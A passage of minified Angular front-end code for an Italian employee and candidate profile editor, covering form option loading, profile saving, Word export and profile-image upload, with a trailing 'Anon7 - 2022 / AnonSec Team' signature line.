ptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.geographicOptions=e.message)})).subscribe(),this.utilsService.getAllEducationNameOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.istruzioneFormOptions.educOptions=e.message)})).subscribe(),this.utilsService.getAllEducationLevelOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.istruzioneFormOptions.educLevelOptions=e.message)})).subscribe(),this.utilsService.getAllEducationTitleOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.istruzioneFormOptions.educTitlesOptions=e.message)})).subscribe(),this.utilsService.getAllLanguagesLevelOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.lingueFormOptions.languagesLevelOpt=e.message)})).subscribe(),this.utilsService.getAllFormazioneIssuerOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.formazioneFormOptions.issuersListOpt=e.message)})).subscribe(),this.utilsService.getAllegatiCategoryOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.allegatiFormOptions.categoryOptions=e.message)})).subscribe(),this.utilsService.getAllIndustryOptions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.skillsFormOptions.industryListOpt=e.message,this.esperienzaFormOptions.industryListOpt=e.message)})).subscribe(),this.utilsService.getCities().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.cityOptions=e.message.sort((e,t)=>e.nome_comune.toLowerCase()>t.nome_comune.toLowerCase()?1:-1),this.istruzioneFormOptions.cityOptions=JSON.parse(JSON.stringify(this.anagraficaFormOptions.cityOptions)))})).subscribe(),this.utilsService.getRegions().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.anagraficaFormOptions.regionsOptions=e.message.sort((e,t)=>e.nome_regione.toLowerCase()>t.nome_regione.toLowerCase()?1:-1),this.istruzioneFormOptions.regions=JSON.parse(JSON.stringify(this.anagraficaFormOptions.regionsOptions)))})).subscribe(),this.utilsService.getNations().pipe(Object(q.a)(),Object(J.a)(e=>{if(e.status){let t=[];t.push(e.message.find(e=>"italia"==e.nome.toLowerCase())),t.push(...e.message.sort((e,t)=>e.nome.toLowerCase()>t.nome.toLowerCase()?1:-1).filter(e=>"italia"!=e.nome.toLowerCase())),this.anagraficaFormOptions.nationOptions=t}})).subscribe(),this.utilsService.getLanguagesList().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.lingueFormOptions.languagesListOpt=e.message.sort((e,t)=>e.name.toLowerCase()>t.name.toLowerCase()?1:-1))})).subscribe(),this.utilsService.getMacroareas().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.skillsFormOptions.macroAreaListOpt=e.message.sort((e,t)=>e.name.toLowerCase()>t.name.toLowerCase()?1:-1))})).subscribe(),this.utilsService.getCategories().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.skillsFormOptions.categoriesOptions=e.message.sort((e,t)=>e.name.toLowerCase()>t.name.toLowerCase()?1:-1),this.skillsFormOptions.subCategoriesOptions=JSON.parse(JSON.stringify(this.skillsFormOptions.categoriesOptions)))})).subscribe(),this.utilsService.getSkills().pipe(Object(q.a)(),Object(J.a)(e=>{e.status&&(this.skillsFormOptions.skillsOptions=e.message.sort((e,t)=>e.name.toLowerCase()>t.name.toLowerCase()?1:-1))})).subscribe()}setFormData(){this.id_user=this.route.snapshot.params.id,this.employeeService.getUserById(this.id_user).subscribe(e=>{this.setEmployeeData(e.message)},e=>{console.error("Impossibile recuperare i dati",e)})}setEmployeeData(e){this.employeeName=e.name+" "+e.surname,this.proPicSrc=e.photo_profile;for(const t of this.formList){let i=this.insertForm.controls[t];e[t].forEach((e,t)=>{let n=this.fb.group(e);i.controls.push(n)}),delete e[t]}this.insertForm.get("anagrafica").patchValue(e),this.insertForm.get("softSkills").patchValue(e)}updateIdFilesList(e){this.idFilesListToLoad=e}backToEmployeeList(){p.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(e=>{e.isConfirmed&&this.router.navigate(["/employees"])})}addFormGroup(e,t){this[t]&&this[t]instanceof l.h&&e.push(this[t])}removeEmptyFormGroup(e,t=!1){var i=[];e.value.map((e,t)=>{let n=!0;for(const i in e)if(e[i]&&""!=e[i]){n=!1;break}1==n&&i.push(t)});let n=0;for(const o of i)(e.length>1||t)&&(e.removeAt(o-n),n++)}saveForm(){let e=Object.assign(Object.assign({id_user:this.id_user},this.insertForm.controls.anagrafica.value),this.insertForm.controls.softSkills.value);this.formList.forEach(t=>{e[t]=this.insertForm.controls[t].value||[]}),e.name&&e.surname&&e.email?this.employeeService.updateEmployee(e).subscribe(e=>console.log(e)):this.growService.addError("I campi obbligatori non sono valorizzati!")}esportaWord(){window.open(g.a.apiUrl+"word/"+this.id_user)}onFilesAdded(e,t){this.files.length>0&&this.files.splice(t,1),this.files.push(...e.addedFiles),this.updateBase64FilesList()}updateBase64FilesList(){this.base64Files=[];let e={extension:"",content:""},t=this.route.snapshot.params.id;this.files.forEach(i=>{this.readFile(i).then(n=>{var o;console.log("file",i),this.base64Files.push({name:i.name,content:n});let a=(null!==(o=i.name.split("."))&&void 0!==o?o:[]).pop();e={extension:a,content:this.base64Files[0].content.split(",").pop()},console.log("payload",e),this.utilsService.updateUserImage(t,e).pipe(Object(q.a)(),Object(J.a)(e=>{this.proPicSrc=!0===e.status?"users/"+t+"."+a+"?nocache="+Math.floor(1e8*Math.random()):null})).subscribe()})})}readFile(e){return Object(K.a)(this,void 0,void 0,function*(){return new Promise((t,i)=>{const n=new FileReader;if(n.onload=e=>t(e.target.result),n.onerror=e=>i(null),!e)return i(null);n.readAsDataURL(e)})})}changeUserImage(){this.dropzoneUserImg.showFileSelector()}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e),f.Pb(c.a),f.Pb(n.f),f.Pb(n.a),f.Pb(b.a),f.Pb(s.a),f.Pb(m.a),f.Pb(G.a))},e.\u0275cmp=f.Jb({type:e,selectors:[["employee-view-edit"]],viewQuery:function(e,t){if(1&e&&f.Mc(nt,1),2&e){let e;f.wc(e=f.dc())&&(t.dropzoneUserImg=e.first)}},decls:36,vars:49,consts:[[1,"row"],[1,"col-md-2","d-none","d-md-block","d-lg-block","d-xl-block"],[1,"position-sticky","navbar-gutter"],[1,"pl-2","timeline-w"],[3,"config","currentStep","stepChange"],[1,"col-md-3","order-md-2"],[1,"card","new-contact","position-sticky","navbar-gutter"],[1,"custom-contact__header","p-0"],["class","w-100",3,"src","click",4,"ngIf"],["accept","image/jpeg,image/jpg,image/png,image/gif","id","drawing-image1",1,"customDropzone","border-0","overflow-hidden",3,"hidden","change"],["dropzoneUserImg",""],[1,"img-fluid","m-0",3,"src"],["class","drawingImagePreview","ngProjectAs","ngx-dropzone-preview",5,["ngx-dropzone-preview"],3,"file",4,"ngFor","ngForOf"],[1,"card-body","text-center","p-3"],["class","btn btn-orange mod btn--icon-text text-center mr-1",3,"tooltip","click",4,"ngIf"],["class","btn btn-orange mod btn--icon-text text-center",3,"tooltip","click",4,"ngIf"],[1,"btn","btn-orange","ml-1","mod","btn--icon-text","text-center",3,"tooltip","click"],[1,"zmdi","zmdi-download"],["class","btn btn-orange mod btn--icon-text text-center mt-1 ml-1",3,"tooltip","click",4,"ngIf"],[1,"col-md-7","order-md-1"],[1,"card"],[1,"card-body"],[3,"formGroup"],["id","anagrafica","tabindex","1",3,"form","options","isInEdit","formChange"],["id","educations","tabindex","2","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","languages","tabindex","3","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","skills","tabindex","4","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","soft-skills","tabindex","5","rowStyle","mb-4",3,"form","isInEdit","formChange"],["id","trainings","tabindex","6","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","experiences","tabindex","7","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","attachments","tabindex","8","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","events","tabindex","9",3,"form","options","removeEmpty","isInEdit","formChange"],[1,"w-100",3,"src","click"],["ngProjectAs","ngx-dropzone-preview",5,["ngx-dropzone-preview"],1,"drawingImagePreview",3,"file"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","mr-1",3,"tooltip","click"],[1,"zmdi","zmdi-floppy"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"tooltip","click"],[1,"zmdi","zmdi-lock-open"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","mt-1","ml-1",3,"tooltip","click"],[1,"zmdi","zmdi-lock-outline"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"div",2),f.Vb(3,"div",3),f.Vb(4,"app-timeline-manager",4),f.cc("stepChange",function(e){return t.setCurrentStep(e)}),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",5),f.Vb(6,"div",6),f.Vb(7,"div",7),f.Gc(8,ot,1,1,"img",8),f.Vb(9,"ngx-dropzone",9,10),f.cc("change",function(e){return t.onFilesAdded(e,0)}),f.Vb(11,"ngx-dropzone-label"),f.Qb(12,"img",11),f.Ub(),f.Gc(13,at,1,1,"ngx-dropzone-image-preview",12),f.Ub(),f.Ub(),f.Vb(14,"div",13),f.Gc(15,ct,5,6,"button",14),f.Gc(16,rt,5,6,"button",15),f.Vb(17,"button",16),f.cc("click",function(){return t.esportaWord()}),f.hc(18,"translate"),f.Qb(19,"i",17),f.Ic(20),f.hc(21,"translate"),f.Ub(),f.Gc(22,lt,5,6,"button",18),f.Ub(),f.Ub(),f.Ub(),f.Vb(23,"div",19),f.Vb(24,"div",20),f.Vb(25,"div",21),f.Vb(26,"form",22),f.Vb(27,"app-employee-view-edit-anagrafica",23),f.cc("formChange",function(e){return t.insertForm.controls.anagrafica=e}),f.Ub(),f.Vb(28,"app-employee-view-edit-istruzione",24),f.cc("formChange",function(e){return t.insertForm.controls.educations=e}),f.Ub(),f.Vb(29,"app-employee-view-edit-lingue",25),f.cc("formChange",function(e){return t.insertForm.controls.languages=e}),f.Ub(),f.Vb(30,"app-employee-view-edit-skills",26),f.cc("formChange",function(e){return t.insertForm.controls.skills=e}),f.Ub(),f.Vb(31,"app-employee-view-edit-soft-skills",27),f.cc("formChange",function(e){return t.insertForm.controls.softSkills=e}),f.Ub(),f.Vb(32,"app-employee-view-edit-formazione",28),f.cc("formChange",function(e){return t.insertForm.controls.trainings=e}),f.Ub(),f.Vb(33,"app-employee-view-edit-esperienza",29),f.cc("formChange",function(e){return t.insertForm.controls.experiences=e}),f.Ub(),f.Vb(34,"app-employee-view-edit-allegati",30),f.cc("formChange",function(e){return t.insertForm.controls.attachments=e}),f.Ub(),f.Vb(35,"app-employee-view-edit-evento",31),f.cc("formChange",function(e){return t.insertForm.controls.events=e}),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(4),f.nc("config",t.configurazioneTimeline)("currentStep",t.currentStep),f.Cb(4),f.nc("ngIf",t.proPicSrc),f.Cb(1),f.nc("hidden",t.proPicSrc),f.Cb(3),f.nc("src",t.contactDefaultImg,f.Cc),f.Cb(1),f.nc("ngForOf",t.files),f.Cb(2),f.nc("ngIf",1==t.isInEdit),f.Cb(1),f.nc("ngIf",0==t.isInEdit),f.Cb(1),f.nc("tooltip",f.ic(18,45,"Esporta Word")),f.Cb(3),f.Kc("",f.ic(21,47,"Esporta Word")," "),f.Cb(2),f.nc("ngIf",1==t.isInEdit),f.Cb(4),f.nc("formGroup",t.insertForm),f.Cb(1),f.nc("form",t.insertForm.controls.anagrafica)("options",t.anagraficaFormOptions)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.educations)("options",t.istruzioneFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.languages)("options",t.lingueFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.skills)("options",t.skillsFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.softSkills)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.trainings)("options",t.formazioneFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.experiences)("options",t.esperienzaFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.attachments)("options",t.allegatiFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),f.Cb(1),f.nc("form",t.insertForm.controls.events)("options",t.eventoFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit))},directives:[D.a,h.n,j.a,j.d,h.m,V.a,l.w,l.o,l.i,ne,me,Ce,we,Ee,Pe,De,Ye,it,j.b],pipes:[U.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}.navbar-gutter[_ngcontent-%COMP%]{top:100px}hr[_ngcontent-%COMP%]{margin-top:2rem;margin-bottom:3rem;border:0;border-top:1px solid orange}.btn-modis[_ngcontent-%COMP%]{border:1px solid #ffb81c}.btn--action[_ngcontent-%COMP%]{color:#000!important}.btn--action[_ngcontent-%COMP%]:hover{color:#fff!important}.btn-wrapper[_ngcontent-%COMP%]{z-index:2;position:sticky;height:50px;bottom:30px;right:30px}.btn-custom[_ngcontent-%COMP%], btn-custom-bigger[_ngcontent-%COMP%]{height:50px;width:50px;padding:0;border-radius:50%;font-size:20px;cursor:pointer;box-shadow:0 4px 3px -2px rgba(0,0,0,.15),0 2px 2px 0 rgba(0,0,0,.04),0 1px 5px 0 rgba(0,0,0,.02)!important}btn-custom-bigger[_ngcontent-%COMP%]{border-radius:3px;width:225px}.custom-contact__header[_ngcontent-%COMP%]{background-color:#f3f3f3;text-align:center;position:relative}.customDropzone[_ngcontent-%COMP%]{display:unset}.img-fluid[_ngcontent-%COMP%]{width:100%}"]}),e})();const bt=[{path:"",component:N},{path:"edit-employee/:id",component:st}];let dt=(()=>{class e{}return e.\u0275fac=function(t){return new(t||e)},e.\u0275mod=f.Nb({type:e,bootstrap:[N,st]}),e.\u0275inj=f.Mb({imports:[[o.a,a.b,n.j.forChild(bt)]]}),e})()}}]);

Anon7 - 2022
AnonSec Team